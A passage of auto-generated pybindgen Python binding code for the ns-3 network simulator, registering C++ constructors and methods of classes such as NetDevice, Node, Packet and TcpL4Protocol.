is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): ns3::Ptr<ns3::Node> ns3::NetDevice::GetNode() const [member function]
cls.add_method('GetNode',
'ns3::Ptr< ns3::Node >',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): static ns3::TypeId ns3::NetDevice::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## net-device.h (module 'network'): bool ns3::NetDevice::IsBridge() const [member function]
cls.add_method('IsBridge',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::IsBroadcast() const [member function]
cls.add_method('IsBroadcast',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::IsLinkUp() const [member function]
cls.add_method('IsLinkUp',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::IsMulticast() const [member function]
cls.add_method('IsMulticast',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::IsPointToPoint() const [member function]
cls.add_method('IsPointToPoint',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::NeedsArp() const [member function]
cls.add_method('NeedsArp',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::Send(ns3::Ptr<ns3::Packet> packet, ns3::Address const & dest, uint16_t protocolNumber) [member function]
cls.add_method('Send',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::SendFrom(ns3::Ptr<ns3::Packet> packet, ns3::Address const & source, ns3::Address const & dest, uint16_t protocolNumber) [member function]
cls.add_method('SendFrom',
'bool',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Address const &', 'source'), param('ns3::Address const &', 'dest'), param('uint16_t', 'protocolNumber')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): void ns3::NetDevice::SetAddress(ns3::Address address) [member function]
cls.add_method('SetAddress',
'void',
[param('ns3::Address', 'address')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): void ns3::NetDevice::SetIfIndex(uint32_t const index) [member function]
cls.add_method('SetIfIndex',
'void',
[param('uint32_t const', 'index')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::SetMtu(uint16_t const mtu) [member function]
cls.add_method('SetMtu',
'bool',
[param('uint16_t const', 'mtu')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): void ns3::NetDevice::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): void ns3::NetDevice::SetPromiscReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetPromiscReceiveCallback',
'void',
[param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): void ns3::NetDevice::SetReceiveCallback(ns3::Callback<bool, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetReceiveCallback',
'void',
[param('ns3::Callback< bool, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_pure_virtual=True, is_virtual=True)
## net-device.h (module 'network'): bool ns3::NetDevice::SupportsSendFrom() const [member function]
cls.add_method('SupportsSendFrom',
'bool',
[],
is_pure_virtual=True, is_const=True, is_virtual=True)
return
def register_Ns3NixVector_methods(root_module, cls):
cls.add_output_stream_operator()
## nix-vector.h (module 'network'): ns3::NixVector::NixVector() [constructor]
cls.add_constructor([])
## nix-vector.h (module 'network'): ns3::NixVector::NixVector(ns3::NixVector const & o) [copy constructor]
cls.add_constructor([param('ns3::NixVector const &', 'o')])
## nix-vector.h (module 'network'): void ns3::NixVector::AddNeighborIndex(uint32_t newBits, uint32_t numberOfBits) [member function]
cls.add_method('AddNeighborIndex',
'void',
[param('uint32_t', 'newBits'), param('uint32_t', 'numberOfBits')])
## nix-vector.h (module 'network'): uint32_t ns3::NixVector::BitCount(uint32_t numberOfNeighbors) const [member function]
cls.add_method('BitCount',
'uint32_t',
[param('uint32_t', 'numberOfNeighbors')],
is_const=True)
## nix-vector.h (module 'network'): ns3::Ptr<ns3::NixVector> ns3::NixVector::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::NixVector >',
[],
is_const=True)
## nix-vector.h (module 'network'): uint32_t ns3::NixVector::Deserialize(uint32_t const * buffer, uint32_t size) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('uint32_t const *', 'buffer'), param('uint32_t', 'size')])
## nix-vector.h (module 'network'): uint32_t ns3::NixVector::ExtractNeighborIndex(uint32_t numberOfBits) [member function]
cls.add_method('ExtractNeighborIndex',
'uint32_t',
[param('uint32_t', 'numberOfBits')])
## nix-vector.h (module 'network'): uint32_t ns3::NixVector::GetRemainingBits() [member function]
cls.add_method('GetRemainingBits',
'uint32_t',
[])
## nix-vector.h (module 'network'): uint32_t ns3::NixVector::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## nix-vector.h (module 'network'): uint32_t ns3::NixVector::Serialize(uint32_t * buffer, uint32_t maxSize) const [member function]
cls.add_method('Serialize',
'uint32_t',
[param('uint32_t *', 'buffer'), param('uint32_t', 'maxSize')],
is_const=True)
return
def register_Ns3Node_methods(root_module, cls):
## node.h (module 'network'): ns3::Node::Node(ns3::Node const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Node const &', 'arg0')])
## node.h (module 'network'): ns3::Node::Node() [constructor]
cls.add_constructor([])
## node.h (module 'network'): ns3::Node::Node(uint32_t systemId) [constructor]
cls.add_constructor([param('uint32_t', 'systemId')])
## node.h (module 'network'): uint32_t ns3::Node::AddApplication(ns3::Ptr<ns3::Application> application) [member function]
cls.add_method('AddApplication',
'uint32_t',
[param('ns3::Ptr< ns3::Application >', 'application')])
## node.h (module 'network'): uint32_t ns3::Node::AddDevice(ns3::Ptr<ns3::NetDevice> device) [member function]
cls.add_method('AddDevice',
'uint32_t',
[param('ns3::Ptr< ns3::NetDevice >', 'device')])
## node.h (module 'network'): static bool ns3::Node::ChecksumEnabled() [member function]
cls.add_method('ChecksumEnabled',
'bool',
[],
is_static=True)
## node.h (module 'network'): ns3::Ptr<ns3::Application> ns3::Node::GetApplication(uint32_t index) const [member function]
cls.add_method('GetApplication',
'ns3::Ptr< ns3::Application >',
[param('uint32_t', 'index')],
is_const=True)
## node.h (module 'network'): ns3::Ptr<ns3::NetDevice> ns3::Node::GetDevice(uint32_t index) const [member function]
cls.add_method('GetDevice',
'ns3::Ptr< ns3::NetDevice >',
[param('uint32_t', 'index')],
is_const=True)
## node.h (module 'network'): uint32_t ns3::Node::GetId() const [member function]
cls.add_method('GetId',
'uint32_t',
[],
is_const=True)
## node.h (module 'network'): uint32_t ns3::Node::GetNApplications() const [member function]
cls.add_method('GetNApplications',
'uint32_t',
[],
is_const=True)
## node.h (module 'network'): uint32_t ns3::Node::GetNDevices() const [member function]
cls.add_method('GetNDevices',
'uint32_t',
[],
is_const=True)
## node.h (module 'network'): uint32_t ns3::Node::GetSystemId() const [member function]
cls.add_method('GetSystemId',
'uint32_t',
[],
is_const=True)
## node.h (module 'network'): static ns3::TypeId ns3::Node::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## node.h (module 'network'): void ns3::Node::RegisterDeviceAdditionListener(ns3::Callback<void,ns3::Ptr<ns3::NetDevice>,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> listener) [member function]
cls.add_method('RegisterDeviceAdditionListener',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'listener')])
## node.h (module 'network'): void ns3::Node::RegisterProtocolHandler(ns3::Callback<void, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> handler, uint16_t protocolType, ns3::Ptr<ns3::NetDevice> device, bool promiscuous=false) [member function]
cls.add_method('RegisterProtocolHandler',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'handler'), param('uint16_t', 'protocolType'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('bool', 'promiscuous', default_value='false')])
## node.h (module 'network'): void ns3::Node::UnregisterDeviceAdditionListener(ns3::Callback<void,ns3::Ptr<ns3::NetDevice>,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty,ns3::empty> listener) [member function]
cls.add_method('UnregisterDeviceAdditionListener',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'listener')])
## node.h (module 'network'): void ns3::Node::UnregisterProtocolHandler(ns3::Callback<void, ns3::Ptr<ns3::NetDevice>, ns3::Ptr<ns3::Packet const>, unsigned short, ns3::Address const&, ns3::Address const&, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty> handler) [member function]
cls.add_method('UnregisterProtocolHandler',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::NetDevice >, ns3::Ptr< ns3::Packet const >, unsigned short, ns3::Address const &, ns3::Address const &, ns3::NetDevice::PacketType, ns3::empty, ns3::empty, ns3::empty >', 'handler')])
## node.h (module 'network'): void ns3::Node::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## node.h (module 'network'): void ns3::Node::DoStart() [member function]
cls.add_method('DoStart',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3ObjectFactoryChecker_methods(root_module, cls):
## object-factory.h (module 'core'): ns3::ObjectFactoryChecker::ObjectFactoryChecker() [constructor]
cls.add_constructor([])
## object-factory.h (module 'core'): ns3::ObjectFactoryChecker::ObjectFactoryChecker(ns3::ObjectFactoryChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ObjectFactoryChecker const &', 'arg0')])
return
def register_Ns3ObjectFactoryValue_methods(root_module, cls):
## object-factory.h (module 'core'): ns3::ObjectFactoryValue::ObjectFactoryValue() [constructor]
cls.add_constructor([])
## object-factory.h (module 'core'): ns3::ObjectFactoryValue::ObjectFactoryValue(ns3::ObjectFactoryValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ObjectFactoryValue const &', 'arg0')])
## object-factory.h (module 'core'): ns3::ObjectFactoryValue::ObjectFactoryValue(ns3::ObjectFactory const & value) [constructor]
cls.add_constructor([param('ns3::ObjectFactory const &', 'value')])
## object-factory.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::ObjectFactoryValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## object-factory.h (module 'core'): bool ns3::ObjectFactoryValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## object-factory.h (module 'core'): ns3::ObjectFactory ns3::ObjectFactoryValue::Get() const [member function]
cls.add_method('Get',
'ns3::ObjectFactory',
[],
is_const=True)
## object-factory.h (module 'core'): std::string ns3::ObjectFactoryValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## object-factory.h (module 'core'): void ns3::ObjectFactoryValue::Set(ns3::ObjectFactory const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::ObjectFactory const &', 'value')])
return
def register_Ns3OutputStreamWrapper_methods(root_module, cls):
## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper::OutputStreamWrapper(ns3::OutputStreamWrapper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::OutputStreamWrapper const &', 'arg0')])
## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper::OutputStreamWrapper(std::string filename, std::_Ios_Openmode filemode) [constructor]
cls.add_constructor([param('std::string', 'filename'), param('std::_Ios_Openmode', 'filemode')])
## output-stream-wrapper.h (module 'network'): ns3::OutputStreamWrapper::OutputStreamWrapper(std::ostream * os) [constructor]
cls.add_constructor([param('std::ostream *', 'os')])
## output-stream-wrapper.h (module 'network'): std::ostream * ns3::OutputStreamWrapper::GetStream() [member function]
cls.add_method('GetStream',
'std::ostream *',
[])
return
def register_Ns3Packet_methods(root_module, cls):
cls.add_output_stream_operator()
## packet.h (module 'network'): ns3::Packet::Packet() [constructor]
cls.add_constructor([])
## packet.h (module 'network'): ns3::Packet::Packet(ns3::Packet const & o) [copy constructor]
cls.add_constructor([param('ns3::Packet const &', 'o')])
## packet.h (module 'network'): ns3::Packet::Packet(uint32_t size) [constructor]
cls.add_constructor([param('uint32_t', 'size')])
## packet.h (module 'network'): ns3::Packet::Packet(uint8_t const * buffer, uint32_t size, bool magic) [constructor]
cls.add_constructor([param('uint8_t const *', 'buffer'), param('uint32_t', 'size'), param('bool', 'magic')])
## packet.h (module 'network'): ns3::Packet::Packet(uint8_t const * buffer, uint32_t size) [constructor]
cls.add_constructor([param('uint8_t const *', 'buffer'), param('uint32_t', 'size')])
## packet.h (module 'network'): void ns3::Packet::AddAtEnd(ns3::Ptr<const ns3::Packet> packet) [member function]
cls.add_method('AddAtEnd',
'void',
[param('ns3::Ptr< ns3::Packet const >', 'packet')])
## packet.h (module 'network'): void ns3::Packet::AddByteTag(ns3::Tag const & tag) const [member function]
cls.add_method('AddByteTag',
'void',
[param('ns3::Tag const &', 'tag')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::AddHeader(ns3::Header const & header) [member function]
cls.add_method('AddHeader',
'void',
[param('ns3::Header const &', 'header')])
## packet.h (module 'network'): void ns3::Packet::AddPacketTag(ns3::Tag const & tag) const [member function]
cls.add_method('AddPacketTag',
'void',
[param('ns3::Tag const &', 'tag')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::AddPaddingAtEnd(uint32_t size) [member function]
cls.add_method('AddPaddingAtEnd',
'void',
[param('uint32_t', 'size')])
## packet.h (module 'network'): void ns3::Packet::AddTrailer(ns3::Trailer const & trailer) [member function]
cls.add_method('AddTrailer',
'void',
[param('ns3::Trailer const &', 'trailer')])
## packet.h (module 'network'): ns3::PacketMetadata::ItemIterator ns3::Packet::BeginItem() const [member function]
cls.add_method('BeginItem',
'ns3::PacketMetadata::ItemIterator',
[],
is_const=True)
## packet.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Packet::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::Packet >',
[],
is_const=True)
## packet.h (module 'network'): uint32_t ns3::Packet::CopyData(uint8_t * buffer, uint32_t size) const [member function]
cls.add_method('CopyData',
'uint32_t',
[param('uint8_t *', 'buffer'), param('uint32_t', 'size')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::CopyData(std::ostream * os, uint32_t size) const [member function]
cls.add_method('CopyData',
'void',
[param('std::ostream *', 'os'), param('uint32_t', 'size')],
is_const=True)
## packet.h (module 'network'): ns3::Ptr<ns3::Packet> ns3::Packet::CreateFragment(uint32_t start, uint32_t length) const [member function]
cls.add_method('CreateFragment',
'ns3::Ptr< ns3::Packet >',
[param('uint32_t', 'start'), param('uint32_t', 'length')],
is_const=True)
## packet.h (module 'network'): static void ns3::Packet::EnableChecking() [member function]
cls.add_method('EnableChecking',
'void',
[],
is_static=True)
## packet.h (module 'network'): static void ns3::Packet::EnablePrinting() [member function]
cls.add_method('EnablePrinting',
'void',
[],
is_static=True)
## packet.h (module 'network'): bool ns3::Packet::FindFirstMatchingByteTag(ns3::Tag & tag) const [member function]
cls.add_method('FindFirstMatchingByteTag',
'bool',
[param('ns3::Tag &', 'tag')],
is_const=True)
## packet.h (module 'network'): ns3::ByteTagIterator ns3::Packet::GetByteTagIterator() const [member function]
cls.add_method('GetByteTagIterator',
'ns3::ByteTagIterator',
[],
is_const=True)
## packet.h (module 'network'): ns3::Ptr<ns3::NixVector> ns3::Packet::GetNixVector() const [member function]
cls.add_method('GetNixVector',
'ns3::Ptr< ns3::NixVector >',
[],
is_const=True)
## packet.h (module 'network'): ns3::PacketTagIterator ns3::Packet::GetPacketTagIterator() const [member function]
cls.add_method('GetPacketTagIterator',
'ns3::PacketTagIterator',
[],
is_const=True)
## packet.h (module 'network'): uint32_t ns3::Packet::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## packet.h (module 'network'): uint32_t ns3::Packet::GetSize() const [member function]
cls.add_method('GetSize',
'uint32_t',
[],
is_const=True)
## packet.h (module 'network'): uint64_t ns3::Packet::GetUid() const [member function]
cls.add_method('GetUid',
'uint64_t',
[],
is_const=True)
## packet.h (module 'network'): uint8_t const * ns3::Packet::PeekData() const [member function]
cls.add_method('PeekData',
'uint8_t const *',
[],
deprecated=True, is_const=True)
## packet.h (module 'network'): uint32_t ns3::Packet::PeekHeader(ns3::Header & header) const [member function]
cls.add_method('PeekHeader',
'uint32_t',
[param('ns3::Header &', 'header')],
is_const=True)
## packet.h (module 'network'): bool ns3::Packet::PeekPacketTag(ns3::Tag & tag) const [member function]
cls.add_method('PeekPacketTag',
'bool',
[param('ns3::Tag &', 'tag')],
is_const=True)
## packet.h (module 'network'): uint32_t ns3::Packet::PeekTrailer(ns3::Trailer & trailer) [member function]
cls.add_method('PeekTrailer',
'uint32_t',
[param('ns3::Trailer &', 'trailer')])
## packet.h (module 'network'): void ns3::Packet::Print(std::ostream & os) const [member function]
cls.add_method('Print',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::PrintByteTags(std::ostream & os) const [member function]
cls.add_method('PrintByteTags',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::PrintPacketTags(std::ostream & os) const [member function]
cls.add_method('PrintPacketTags',
'void',
[param('std::ostream &', 'os')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::RemoveAllByteTags() [member function]
cls.add_method('RemoveAllByteTags',
'void',
[])
## packet.h (module 'network'): void ns3::Packet::RemoveAllPacketTags() [member function]
cls.add_method('RemoveAllPacketTags',
'void',
[])
## packet.h (module 'network'): void ns3::Packet::RemoveAtEnd(uint32_t size) [member function]
cls.add_method('RemoveAtEnd',
'void',
[param('uint32_t', 'size')])
## packet.h (module 'network'): void ns3::Packet::RemoveAtStart(uint32_t size) [member function]
cls.add_method('RemoveAtStart',
'void',
[param('uint32_t', 'size')])
## packet.h (module 'network'): uint32_t ns3::Packet::RemoveHeader(ns3::Header & header) [member function]
cls.add_method('RemoveHeader',
'uint32_t',
[param('ns3::Header &', 'header')])
## packet.h (module 'network'): bool ns3::Packet::RemovePacketTag(ns3::Tag & tag) [member function]
cls.add_method('RemovePacketTag',
'bool',
[param('ns3::Tag &', 'tag')])
## packet.h (module 'network'): uint32_t ns3::Packet::RemoveTrailer(ns3::Trailer & trailer) [member function]
cls.add_method('RemoveTrailer',
'uint32_t',
[param('ns3::Trailer &', 'trailer')])
## packet.h (module 'network'): uint32_t ns3::Packet::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function]
cls.add_method('Serialize',
'uint32_t',
[param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')],
is_const=True)
## packet.h (module 'network'): void ns3::Packet::SetNixVector(ns3::Ptr<ns3::NixVector> arg0) [member function]
cls.add_method('SetNixVector',
'void',
[param('ns3::Ptr< ns3::NixVector >', 'arg0')])
return
def register_Ns3RandomVariableChecker_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::RandomVariableChecker::RandomVariableChecker() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::RandomVariableChecker::RandomVariableChecker(ns3::RandomVariableChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::RandomVariableChecker const &', 'arg0')])
return
def register_Ns3RandomVariableValue_methods(root_module, cls):
## random-variable.h (module 'core'): ns3::RandomVariableValue::RandomVariableValue() [constructor]
cls.add_constructor([])
## random-variable.h (module 'core'): ns3::RandomVariableValue::RandomVariableValue(ns3::RandomVariableValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::RandomVariableValue const &', 'arg0')])
## random-variable.h (module 'core'): ns3::RandomVariableValue::RandomVariableValue(ns3::RandomVariable const & value) [constructor]
cls.add_constructor([param('ns3::RandomVariable const &', 'value')])
## random-variable.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::RandomVariableValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
## random-variable.h (module 'core'): bool ns3::RandomVariableValue::DeserializeFromString(std::string value, ns3::Ptr<ns3::AttributeChecker const> checker) [member function]
cls.add_method('DeserializeFromString',
'bool',
[param('std::string', 'value'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_virtual=True)
## random-variable.h (module 'core'): ns3::RandomVariable ns3::RandomVariableValue::Get() const [member function]
cls.add_method('Get',
'ns3::RandomVariable',
[],
is_const=True)
## random-variable.h (module 'core'): std::string ns3::RandomVariableValue::SerializeToString(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('SerializeToString',
'std::string',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True, is_virtual=True)
## random-variable.h (module 'core'): void ns3::RandomVariableValue::Set(ns3::RandomVariable const & value) [member function]
cls.add_method('Set',
'void',
[param('ns3::RandomVariable const &', 'value')])
return
def register_Ns3TcpL4Protocol_methods(root_module, cls):
## tcp-l4-protocol.h (module 'internet'): ns3::TcpL4Protocol::PROT_NUMBER [variable]
cls.add_static_attribute('PROT_NUMBER', 'uint8_t const', is_const=True)
## tcp-l4-protocol.h (module 'internet'): static ns3::TypeId ns3::TcpL4Protocol::GetTypeId() [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_static=True)
## tcp-l4-protocol.h (module 'internet'): ns3::TcpL4Protocol::TcpL4Protocol() [constructor]
cls.add_constructor([])
## tcp-l4-protocol.h (module 'internet'): void ns3::TcpL4Protocol::SetNode(ns3::Ptr<ns3::Node> node) [member function]
cls.add_method('SetNode',
'void',
[param('ns3::Ptr< ns3::Node >', 'node')])
## tcp-l4-protocol.h (module 'internet'): int ns3::TcpL4Protocol::GetProtocolNumber() const [member function]
cls.add_method('GetProtocolNumber',
'int',
[],
is_const=True, is_virtual=True)
## tcp-l4-protocol.h (module 'internet'): ns3::Ptr<ns3::Socket> ns3::TcpL4Protocol::CreateSocket() [member function]
cls.add_method('CreateSocket',
'ns3::Ptr< ns3::Socket >',
[])
## tcp-l4-protocol.h (module 'internet'): ns3::Ptr<ns3::Socket> ns3::TcpL4Protocol::CreateSocket(ns3::TypeId socketTypeId) [member function]
cls.add_method('CreateSocket',
'ns3::Ptr< ns3::Socket >',
[param('ns3::TypeId', 'socketTypeId')])
## tcp-l4-protocol.h (module 'internet'): ns3::Ipv4EndPoint * ns3::TcpL4Protocol::Allocate() [member function]
cls.add_method('Allocate',
'ns3::Ipv4EndPoint *',
[])
## tcp-l4-protocol.h (module 'internet'): ns3::Ipv4EndPoint * ns3::TcpL4Protocol::Allocate(ns3::Ipv4Address address) [member function]
cls.add_method('Allocate',
'ns3::Ipv4EndPoint *',
[param('ns3::Ipv4Address', 'address')])
## tcp-l4-protocol.h (module 'internet'): ns3::Ipv4EndPoint * ns3::TcpL4Protocol::Allocate(uint16_t port) [member function]
cls.add_method('Allocate',
'ns3::Ipv4EndPoint *',
[param('uint16_t', 'port')])
## tcp-l4-protocol.h (module 'internet'): ns3::Ipv4EndPoint * ns3::TcpL4Protocol::Allocate(ns3::Ipv4Address address, uint16_t port) [member function]
cls.add_method('Allocate',
'ns3::Ipv4EndPoint *',
[param('ns3::Ipv4Address', 'address'), param('uint16_t', 'port')])
## tcp-l4-protocol.h (module 'internet'): ns3::Ipv4EndPoint * ns3::TcpL4Protocol::Allocate(ns3::Ipv4Address localAddress, uint16_t localPort, ns3::Ipv4Address peerAddress, uint16_t peerPort) [member function]
cls.add_method('Allocate',
'ns3::Ipv4EndPoint *',
[param('ns3::Ipv4Address', 'localAddress'), param('uint16_t', 'localPort'), param('ns3::Ipv4Address', 'peerAddress'), param('uint16_t', 'peerPort')])
## tcp-l4-protocol.h (module 'internet'): void ns3::TcpL4Protocol::DeAllocate(ns3::Ipv4EndPoint * endPoint) [member function]
cls.add_method('DeAllocate',
'void',
[param('ns3::Ipv4EndPoint *', 'endPoint')])
## tcp-l4-protocol.h (module 'internet'): void ns3::TcpL4Protocol::Send(ns3::Ptr<ns3::Packet> packet, ns3::Ipv4Address saddr, ns3::Ipv4Address daddr, uint16_t sport, uint16_t dport, ns3::Ptr<ns3::NetDevice> oif=0) [member function]
cls.add_method('Send',
'void',
[param('ns3::Ptr< ns3::Packet >', 'packet'), param('ns3::Ipv4Address', 'saddr'), param('ns3::Ipv4Address', 'daddr'), param('uint16_t', 'sport'), param('uint16_t', 'dport'), param('ns3::Ptr< ns3::NetDevice >', 'oif', default_value='0')])
## tcp-l4-protocol.h (module 'internet'): ns3::Ipv4L4Protocol::RxStatus ns3::TcpL4Protocol::Receive(ns3::Ptr<ns3::Packet> p, ns3::Ipv4Header const & header, ns3::Ptr<ns3::Ipv4Interface> incomingInterface) [member function]
cls.add_method('Receive',
'ns3::Ipv4L4Protocol::RxStatus',
[param('ns3::Ptr< ns3::Packet >', 'p'), param('ns3::Ipv4Header const &', 'header'), param('ns3::Ptr< ns3::Ipv4Interface >', 'incomingInterface')],
is_virtual=True)
## tcp-l4-protocol.h (module 'internet'): void ns3::TcpL4Protocol::SetDownTarget(ns3::Callback<void, ns3::Ptr<ns3::Packet>, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr<ns3::Ipv4Route>, ns3::empty, ns3::empty, ns3::empty, ns3::empty> cb) [member function]
cls.add_method('SetDownTarget',
'void',
[param('ns3::Callback< void, ns3::Ptr< ns3::Packet >, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr< ns3::Ipv4Route >, ns3::empty, ns3::empty, ns3::empty, ns3::empty >', 'cb')],
is_virtual=True)
## tcp-l4-protocol.h (module 'internet'): ns3::Callback<void, ns3::Ptr<ns3::Packet>, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr<ns3::Ipv4Route>, ns3::empty, ns3::empty, ns3::empty, ns3::empty> ns3::TcpL4Protocol::GetDownTarget() const [member function]
cls.add_method('GetDownTarget',
'ns3::Callback< void, ns3::Ptr< ns3::Packet >, ns3::Ipv4Address, ns3::Ipv4Address, unsigned char, ns3::Ptr< ns3::Ipv4Route >, ns3::empty, ns3::empty, ns3::empty, ns3::empty >',
[],
is_const=True, is_virtual=True)
## tcp-l4-protocol.h (module 'internet'): void ns3::TcpL4Protocol::DoDispose() [member function]
cls.add_method('DoDispose',
'void',
[],
visibility='protected', is_virtual=True)
## tcp-l4-protocol.h (module 'internet'): void ns3::TcpL4Protocol::NotifyNewAggregate() [member function]
cls.add_method('NotifyNewAggregate',
'void',
[],
visibility='protected', is_virtual=True)
return
def register_Ns3TimeChecker_methods(root_module, cls):
## nstime.h (module 'core'): ns3::TimeChecker::TimeChecker() [constructor]
cls.add_constructor([])
## nstime.h (module 'core'): ns3::TimeChecker::TimeChecker(ns3::TimeChecker const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TimeChecker const &', 'arg0')])
return
def register_Ns3TimeValue_methods(root_module, cls):
## nstime.h (module 'core'): ns3::TimeValue::TimeValue() [constructor]
cls.add_constructor([])
## nstime.h (module 'core'): ns3::TimeValue::TimeValue(ns3::TimeValue const & arg0) [copy constructor]
cls.add_constructor([param('ns3::TimeValue const &', 'arg0')])
## nstime.h (module 'core'): ns3::TimeValue::TimeValue(ns3::Time const & value) [constructor]
cls.add_constructor([param('ns3::Time const &', 'value')])
## nstime.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::TimeValue::Copy() const [member function]
cls.add_method('Copy',
'ns3::Ptr< ns3::AttributeValue >',
[],
is_const=True, is_virtual=True)
